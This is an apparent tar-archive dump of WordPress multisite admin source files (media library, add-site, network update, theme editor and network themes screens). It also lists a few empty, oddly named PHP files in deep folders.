( ! empty( $_GET['untrashed'] ) && absint( $_GET['untrashed'] ) ) { $untrashed = absint( $_GET['untrashed'] ); if ( 1 === $untrashed ) { $message = __( 'Media file restored from the Trash.' ); } else { $message = sprintf( /* translators: %s: Number of media files. */ _n( '%s media file restored from the Trash.', '%s media files restored from the Trash.', $untrashed ), number_format_i18n( $untrashed ) ); } $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'untrashed' ), $_SERVER['REQUEST_URI'] ); unset( $_GET['untrashed'] ); } $messages[1] = __( 'Media file updated.' ); $messages[2] = __( 'Media file permanently deleted.' ); $messages[3] = __( 'Error saving media file.' ); $messages[4] = __( 'Media file moved to the Trash.' ) . sprintf( ' <a href="%1$s">%2$s</a>', esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids=' . ( $_GET['ids'] ?? '' ), 'bulk-media' ) ), __( 'Undo' ) ); $messages[5] = __( 'Media file restored from the Trash.' ); if ( ! empty( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) { $message = $messages[ $_GET['message'] ]; $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message' ), $_SERVER['REQUEST_URI'] ); } $modes = array( 'grid', 'list' ); if ( isset( $_GET['mode'] ) && in_array( $_GET['mode'], $modes, true ) ) { $mode = $_GET['mode']; update_user_option( get_current_user_id(), 'media_library_mode', $mode ); } else { $mode = get_user_option( 'media_library_mode', get_current_user_id() ) ? get_user_option( 'media_library_mode', get_current_user_id() ) : 'grid'; } if ( 'grid' === $mode ) { wp_enqueue_media(); wp_enqueue_script( 'media-grid' ); wp_enqueue_script( 'media' ); // Remove the error parameter added by deprecation of wp-admin/media.php. add_filter( 'removable_query_args', function () { return array( 'error' ); }, 10, 0 ); $query_string = $_GET; // Let JS handle this. unset( $query_string['s'] ); $query_vars = wp_edit_attachments_query_vars( $query_string ); $ignore = array( 'mode', 'post_type', 'post_status', 'posts_per_page' ); foreach ( $query_vars as $key => $value ) { if ( ! $value || in_array( $key, $ignore, true ) ) { unset( $query_vars[ $key ] ); } } wp_localize_script( 'media-grid', '_wpMediaGridSettings', array( 'adminUrl' => parse_url( self_admin_url(), PHP_URL_PATH ), 'queryVars' => (object) $query_vars, ) ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'All the files you’ve uploaded are listed in the Media Library, with the most recent uploads listed first.' ) . '</p>' . '<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>' . '<p>' . __( 'To delete media items, click the <strong>Bulk select</strong> button at the top of the screen. Select any items you wish to delete, then click the <strong>Delete permanently</strong> button. Clicking the <strong>Cancel</strong> button takes you back to viewing your media.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'attachment-details', 'title' => __( 'Attachment Details' ), 'content' => '<p>' . __( 'Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved.' ) . '</p>' . '<p>' . __( 'Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly.' ) . '</p>' . '<p>' . __( 'You can also delete individual items and access the extended edit screen from the details dialog.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/media-library-screen/">Documentation on Media Library</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); // Used in the HTML title tag. $title = __( 'Media Library' ); $parent_file = 'upload.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap" id="wp-media-grid" data-search="<?php _admin_search_query(); ?>"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( current_user_can( 'upload_files' ) ) { ?> <a href="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="page-title-action aria-button-if-js"><?php echo esc_html__( 'Add Media File' ); ?></a> <?php } ?> <hr class="wp-header-end"> <?php if ( ! empty( $message ) ) { wp_admin_notice( $message, array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } $js_required_message = sprintf( /* translators: %s: List view URL. */ __( 'The grid view for the Media Library requires JavaScript. <a href="%s">Switch to the list view</a>.' ), 'upload.php?mode=list' ); wp_admin_notice( $js_required_message, array( 'additional_classes' => array( 'error', 'hide-if-js' ), ) ); ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; } $wp_list_table = _get_list_table( 'WP_Media_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); // Handle bulk actions. $doaction = $wp_list_table->current_action(); if ( $doaction ) { check_admin_referer( 'bulk-media' ); $post_ids = array(); if ( 'delete_all' === $doaction ) { $post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" ); $doaction = 'delete'; } elseif ( isset( $_REQUEST['media'] ) ) { $post_ids = $_REQUEST['media']; } elseif ( isset( $_REQUEST['ids'] ) ) { $post_ids = explode( ',', $_REQUEST['ids'] ); } $post_ids = array_map( 'intval', (array) $post_ids ); $location = 'upload.php'; $referer = wp_get_referer(); if ( $referer ) { if ( str_contains( $referer, 'upload.php' ) ) { $location = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'message', 'ids', 'posted' ), $referer ); } } switch ( $doaction ) { case 'detach': wp_media_attach_action( $_REQUEST['parent_post_id'], 'detach' ); break; case 'attach': wp_media_attach_action( $_REQUEST['found_post_id'] ); break; case 'trash': if ( empty( $post_ids ) ) { break; } foreach ( $post_ids as $post_id ) { if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) ); } if ( ! wp_trash_post( $post_id ) ) { wp_die( __( 'Error in moving the item to Trash.' ) ); } } $location = add_query_arg( array( 'trashed' => count( $post_ids ), 'ids' => implode( ',', $post_ids ), ), $location ); break; case 'untrash': if ( empty( $post_ids ) ) { break; } foreach ( $post_ids as $post_id ) { if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) ); } if ( ! wp_untrash_post( $post_id ) ) { wp_die( __( 'Error in restoring the item from Trash.' ) ); } } $location = add_query_arg( 'untrashed', count( $post_ids ), $location ); break; case 'delete': if ( empty( $post_ids ) ) { break; } foreach ( $post_ids as $post_id_del ) { if ( ! current_user_can( 'delete_post', $post_id_del ) ) { wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); } if ( ! wp_delete_attachment( $post_id_del ) ) { wp_die( __( 'Error in deleting the attachment.' ) ); } } $location = add_query_arg( 'deleted', count( $post_ids ), $location ); break; default: $screen = get_current_screen()->id; /** This action is documented in wp-admin/edit.php */ $location = apply_filters( "handle_bulk_actions-{$screen}", $location, $doaction, $post_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } wp_redirect( $location ); exit; } elseif ( ! empty( $_GET['_wp_http_referer'] ) ) { wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); exit; } $wp_list_table->prepare_items(); // Used in the HTML title tag. $title = __( 'Media Library' ); $parent_file = 'upload.php'; wp_enqueue_script( 'media' ); add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'All the files you’ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen.' ) . '</p>' . '<p>' . __( 'You can narrow the list by file type/status or by date using the dropdown menus above the media table.' ) . '</p>' . '<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'actions-links', 'title' => __( 'Available Actions' ), 'content' => '<p>' . __( 'Hovering over a row reveals action links that allow you to manage media items. You can perform the following actions:' ) . '</p>' . '<ul>' . '<li>' . __( '<strong>Edit</strong> takes you to a simple screen to edit that individual file’s metadata. You can also reach that screen by clicking on the media file name or thumbnail.' ) . '</li>' . '<li>' . __( '<strong>Delete Permanently</strong> will delete the file from the media library (as well as from any posts to which it is currently attached).' ) . '</li>' . '<li>' . __( '<strong>View</strong> will take you to a public display page for that file.' ) . '</li>' . '<li>' . __( '<strong>Copy URL</strong> copies the URL for the media file to your clipboard.' ) . '</li>' . '<li>' . __( '<strong>Download file</strong> downloads the original media file to your device.' ) . '</li>' . '</ul>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'attaching-files', 'title' => __( 'Attaching Files' ), 'content' => '<p>' . __( 'If a media file has not been attached to any content, you will see that in the Uploaded To column, and can click on Attach to launch a small popup that will allow you to search for existing content and attach the file.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/media-library-screen/">Documentation on Media Library</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter media items list' ), 'heading_pagination' => __( 'Media items list navigation' ), 'heading_list' => __( 'Media items list' ), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( current_user_can( 'upload_files' ) ) { ?> <a href="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add Media File' ); ?></a> <?php } if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . get_search_query() . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php if ( ! empty( $message ) ) { wp_admin_notice( $message, array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } ?> <form id="posts-filter" method="get"> <?php $wp_list_table->views(); ?> <?php $wp_list_table->display(); ?> <div id="ajax-response"></div> <?php find_posts_div(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/site-new.php 0000644 00000023007 15233246127 0010510 0 ustar 00 <?php /** * Add Site Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** WordPress Translation Installation API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; if ( ! current_user_can( 'create_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' . '<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) { check_admin_referer( 'add-blog', '_wpnonce_add-blog' ); if ( ! is_array( $_POST['blog'] ) ) { wp_die( __( 'Cannot create an empty site.' ) ); } $blog = $_POST['blog']; $domain = ''; $blog['domain'] = trim( $blog['domain'] ); if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) { $domain = strtolower( $blog['domain'] ); } // If not a subdomain installation, make sure the domain isn't a reserved word. if ( ! is_subdomain_install() ) { $subdirectory_reserved_names = get_subdirectory_reserved_names(); if ( in_array( $domain, $subdirectory_reserved_names, true ) ) { wp_die( sprintf( /* translators: %s: Reserved names list. */ __( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ), '<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>' ) ); } } $title = $blog['title']; $meta = array( 'public' => 1, ); // Handle translation installation for the new site. if ( isset( $_POST['WPLANG'] ) ) { if ( '' === $_POST['WPLANG'] ) { $meta['WPLANG'] = ''; // en_US } elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) { $meta['WPLANG'] = $_POST['WPLANG']; } elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) { $language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) ); if ( $language ) { $meta['WPLANG'] = $language; } } } if ( empty( $title ) ) { wp_die( __( 'Missing site title.' ) ); } if ( empty( $domain ) ) { wp_die( __( 'Missing or invalid site address.' ) ); } if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) { wp_die( __( 'Missing email address.' ) ); } $email = sanitize_email( $blog['email'] ); if ( ! is_email( $email ) ) { wp_die( __( 'Invalid email address.' ) ); } if ( is_subdomain_install() ) { $newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain ); $path = get_network()->path; } else { $newdomain = get_network()->domain; $path = get_network()->path . $domain . '/'; } $password = 'N/A'; $user_id = email_exists( $email ); if ( ! $user_id ) { // Create a new user with a random password. /** * Fires immediately before a new user is created via the network site-new.php page. * * @since 4.5.0 * * @param string $email Email of the non-existent user. */ do_action( 'pre_network_site_new_created_user', $email ); $user_id = username_exists( $domain ); if ( $user_id ) { wp_die( __( 'The domain or path entered conflicts with an existing username.' ) ); } $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( $domain, $password, $email ); if ( false === $user_id ) { wp_die( __( 'There was an error creating the user.' ) ); } /** * Fires after a new user has been created via the network site-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_new_created_user', $user_id ); } $wpdb->hide_errors(); $id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() ); $wpdb->show_errors(); if ( ! is_wp_error( $id ) ) { if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) { update_user_option( $user_id, 'primary_blog', $id, true ); } wpmu_new_site_admin_notification( $id, $user_id ); wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) ); wp_redirect( add_query_arg( array( 'update' => 'added', 'id' => $id, ), 'site-new.php' ) ); exit; } else { wp_die( $id->get_error_message() ); } } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'added' === $_GET['update'] ) { $messages[] = sprintf( /* translators: 1: Dashboard URL, 2: Network admin edit URL. */ __( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ), esc_url( get_admin_url( absint( $_GET['id'] ) ) ), network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) ) ); } } // Used in the HTML title tag. $title = __( 'Add Site' ); $parent_file = 'sites.php'; wp_enqueue_script( 'user-suggest' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1> <?php if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <p><?php echo wp_required_field_message(); ?></p> <form method="post" enctype="multipart/form-data" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate"> <?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"> <label for="site-address"> <?php _e( 'Site Address (URL)' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td> <span class="code"> <?php if ( is_subdomain_install() ) : ?> <input name="blog[domain]" type="text" class="regular-text code" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><!-- --><code class="no-break"><?php echo esc_html( '.' . preg_replace( '|^www\.|', '', get_network()->domain ) ); ?></code> <?php else : ?> <code class="no-break"><?php echo esc_html( get_network()->domain . get_network()->path ); ?></code><!-- --><input name="blog[domain]" type="text" class="regular-text code" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /> <?php endif; ?> </span> <p class="description" id="site-address-desc"> <?php _e( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ); ?> </p> </td> </tr> <tr class="form-field form-required"> <th scope="row"> <label for="site-title"> <?php _e( 'Site Title' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td> </tr> <?php $languages = get_available_languages(); $translations = wp_get_available_translations(); if ( ! empty( $languages ) || ! empty( $translations ) ) : ?> <tr class="form-field form-required"> <th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th> <td> <?php // Network default. $lang = get_site_option( 'WPLANG' ); // Use English if the default isn't available. if ( ! in_array( $lang, $languages, true ) ) { $lang = ''; } wp_dropdown_languages( array( 'name' => 'WPLANG', 'id' => 'site-language', 'selected' => $lang, 'languages' => $languages, 'translations' => $translations, 'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(), ) ); ?> </td> </tr> <?php endif; // Languages. ?> <tr class="form-field form-required"> <th scope="row"> <label for="admin-email"> <?php _e( 'Admin Email' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td> </tr> </table> <?php /** * Fires at the end of the new site form in network admin. * * @since 4.5.0 */ do_action( 'network_site_new_form' ); submit_button( __( 'Add Site' ), 'primary', 'add-site' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/update.php 0000644 00000000702 15233246127 0010234 0 ustar 00 <?php /** * Update/Install Plugin/Theme network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/update.php'; network/theme-editor.php 0000644 00000000410 15233246127 0011334 0 ustar 00 <?php /** * Theme file editor network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-editor.php'; network/modules/data/includes/content/gjbsz/vjh/index.php 0000644 00000000000 15233246127 0017617 0 ustar 00 network/modules/data/includes/v3/v2/tmp/oij/admin.php 0000644 00000000000 15233246127 0016460 0 ustar 00 network/modules/img/resources/uploads/css/dist/ivofj/gdue/admin.php 0000644 00000000000 15233246127 0021532 0 ustar 00 network/modules/includes/v1/2025/njcbq/cdgh/index.php 0000644 00000000000 15233246127 0016246 0 ustar 00 network/modules/includes/v3/tmp/tmp/zeugz/admin.php 0000644 00000000000 15233246127 0016403 0 ustar 00 network/themes.php 0000644 00000037134 15233246127 0010250 0 ustar 00 <?php /** * Multisite themes administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_network_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) ); } $wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $action = $wp_list_table->current_action(); $s = $_REQUEST['s'] ?? ''; // Clean up request URI from temporary args for screen options/paging uri's to work as expected. $temp_args = array( 'enabled', 'disabled', 'deleted', 'error', 'enabled-auto-update', 'disabled-auto-update', ); $_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( $temp_args, wp_get_referer() ); if ( $action ) { switch ( $action ) { case 'enable': check_admin_referer( 'enable-theme_' . $_GET['theme'] ); WP_Theme::network_enable_theme( $_GET['theme'] ); if ( ! str_contains( $referer, '/network/themes.php' ) ) { wp_redirect( network_admin_url( 'themes.php?enabled=1' ) ); } else { wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) ); } exit; case 'disable': check_admin_referer( 'disable-theme_' . $_GET['theme'] ); WP_Theme::network_disable_theme( $_GET['theme'] ); wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) ); exit; case 'enable-selected': check_admin_referer( 'bulk-themes' ); $themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array(); if ( empty( $themes ) ) { wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) ); exit; } WP_Theme::network_enable_theme( (array) $themes ); wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) ); exit; case 'disable-selected': check_admin_referer( 'bulk-themes' ); $themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array(); if ( empty( $themes ) ) { wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) ); exit; } WP_Theme::network_disable_theme( (array) $themes ); wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) ); exit; case 'update-selected': check_admin_referer( 'bulk-themes' ); if ( isset( $_GET['themes'] ) ) { $themes = explode( ',', $_GET['themes'] ); } elseif ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; } else { $themes = array(); } // Used in the HTML title tag. $title = __( 'Update Themes' ); $parent_file = 'themes.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; echo '<div class="wrap">'; echo '<h1>' . esc_html( $title ) . '</h1>'; $url = self_admin_url( 'update.php?action=update-selected-themes&themes=' . urlencode( implode( ',', $themes ) ) ); $url = wp_nonce_url( $url, 'bulk-update-themes' ); echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>"; echo '</div>'; require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; case 'delete-selected': if ( ! current_user_can( 'delete_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) ); } check_admin_referer( 'bulk-themes' ); $themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array(); if ( empty( $themes ) ) { wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) ); exit; } $themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) ); if ( empty( $themes ) ) { wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) ); exit; } $theme_info = array(); foreach ( $themes as $key => $theme ) { $theme_info[ $theme ] = wp_get_theme( $theme ); } require ABSPATH . 'wp-admin/update.php'; $parent_file = 'themes.php'; if ( ! isset( $_REQUEST['verify-delete'] ) ) { wp_enqueue_script( 'jquery' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $themes_to_delete = count( $themes ); ?> <div class="wrap"> <?php if ( 1 === $themes_to_delete ) : ?> <h1><?php _e( 'Delete Theme' ); ?></h1> <?php wp_admin_notice( '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ), array( 'additional_classes' => array( 'error' ), ) ); ?> <p><?php _e( 'You are about to remove the following theme:' ); ?></p> <?php else : ?> <h1><?php _e( 'Delete Themes' ); ?></h1> <?php wp_admin_notice( '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ), array( 'additional_classes' => array( 'error' ), ) ); ?> <p><?php _e( 'You are about to remove the following themes:' ); ?></p> <?php endif; ?> <ul class="ul-disc"> <?php foreach ( $theme_info as $theme ) { echo '<li>' . sprintf( /* translators: 1: Theme name, 2: Theme author. */ _x( '%1$s by %2$s', 'theme' ), '<strong>' . $theme->display( 'Name' ) . '</strong>', '<em>' . $theme->display( 'Author' ) . '</em>' ) . '</li>'; } ?> </ul> <?php if ( 1 === $themes_to_delete ) : ?> <p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p> <?php else : ?> <p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p> <?php endif; ?> <form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;"> <input type="hidden" name="verify-delete" value="1" /> <input type="hidden" name="action" value="delete-selected" /> <?php foreach ( (array) $themes as $theme ) { echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />'; } wp_nonce_field( 'bulk-themes' ); if ( 1 === $themes_to_delete ) { submit_button( __( 'Yes, delete this theme' ), '', 'submit', false ); } else { submit_button( __( 'Yes, delete these themes' ), '', 'submit', false ); } ?> </form> <?php $referer = wp_get_referer(); ?> <form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;"> <?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; } // End if verify-delete. foreach ( $themes as $theme ) { $delete_result = delete_theme( $theme, esc_url( add_query_arg( array( 'verify-delete' => 1, 'action' => 'delete-selected', 'checked' => $_REQUEST['checked'], '_wpnonce' => $_REQUEST['_wpnonce'], ), network_admin_url( 'themes.php' ) ) ) ); } $paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1; wp_redirect( add_query_arg( array( 'deleted' => count( $themes ), 'paged' => $paged, 's' => $s, ), network_admin_url( 'themes.php' ) ) ); exit; case 'enable-auto-update': case 'disable-auto-update': case 'enable-auto-update-selected': case 'disable-auto-update-selected': if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) ); } if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) { check_admin_referer( 'updates' ); } else { if ( empty( $_POST['checked'] ) ) { // Nothing to do. wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) ); exit; } check_admin_referer( 'bulk-themes' ); } $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); if ( 'enable-auto-update' === $action ) { $auto_updates[] = $_GET['theme']; $auto_updates = array_unique( $auto_updates ); $referer = add_query_arg( 'enabled-auto-update', 1, $referer ); } elseif ( 'disable-auto-update' === $action ) { $auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) ); $referer = add_query_arg( 'disabled-auto-update', 1, $referer ); } else { // Bulk enable/disable. $themes = (array) wp_unslash( $_POST['checked'] ); if ( 'enable-auto-update-selected' === $action ) { $auto_updates = array_merge( $auto_updates, $themes ); $auto_updates = array_unique( $auto_updates ); $referer = add_query_arg( 'enabled-auto-update', count( $themes ), $referer ); } else { $auto_updates = array_diff( $auto_updates, $themes ); $referer = add_query_arg( 'disabled-auto-update', count( $themes ), $referer ); } } $all_items = wp_get_themes(); // Remove themes that don't exist or have been deleted since the option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_safe_redirect( $referer ); exit; default: $themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array(); if ( empty( $themes ) ) { wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) ); exit; } check_admin_referer( 'bulk-themes' ); /** This action is documented in wp-admin/network/site-themes.php */ $referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores wp_safe_redirect( $referer ); exit; } } $wp_list_table->prepare_items(); add_thickbox(); add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' . '<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site’s Appearance > Themes screen.' ) . '</p>' . '<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>', ) ); $help_sidebar_autoupdates = ''; if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) { get_current_screen()->add_help_tab( array( 'id' => 'plugins-themes-auto-updates', 'title' => __( 'Auto-updates' ), 'content' => '<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' . '<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>', ) ); $help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>'; } get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' . $help_sidebar_autoupdates . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter themes list' ), 'heading_pagination' => __( 'Themes list navigation' ), 'heading_list' => __( 'Themes list' ), ) ); // Used in the HTML title tag. $title = __( 'Themes' ); $parent_file = 'themes.php'; wp_enqueue_script( 'updates' ); 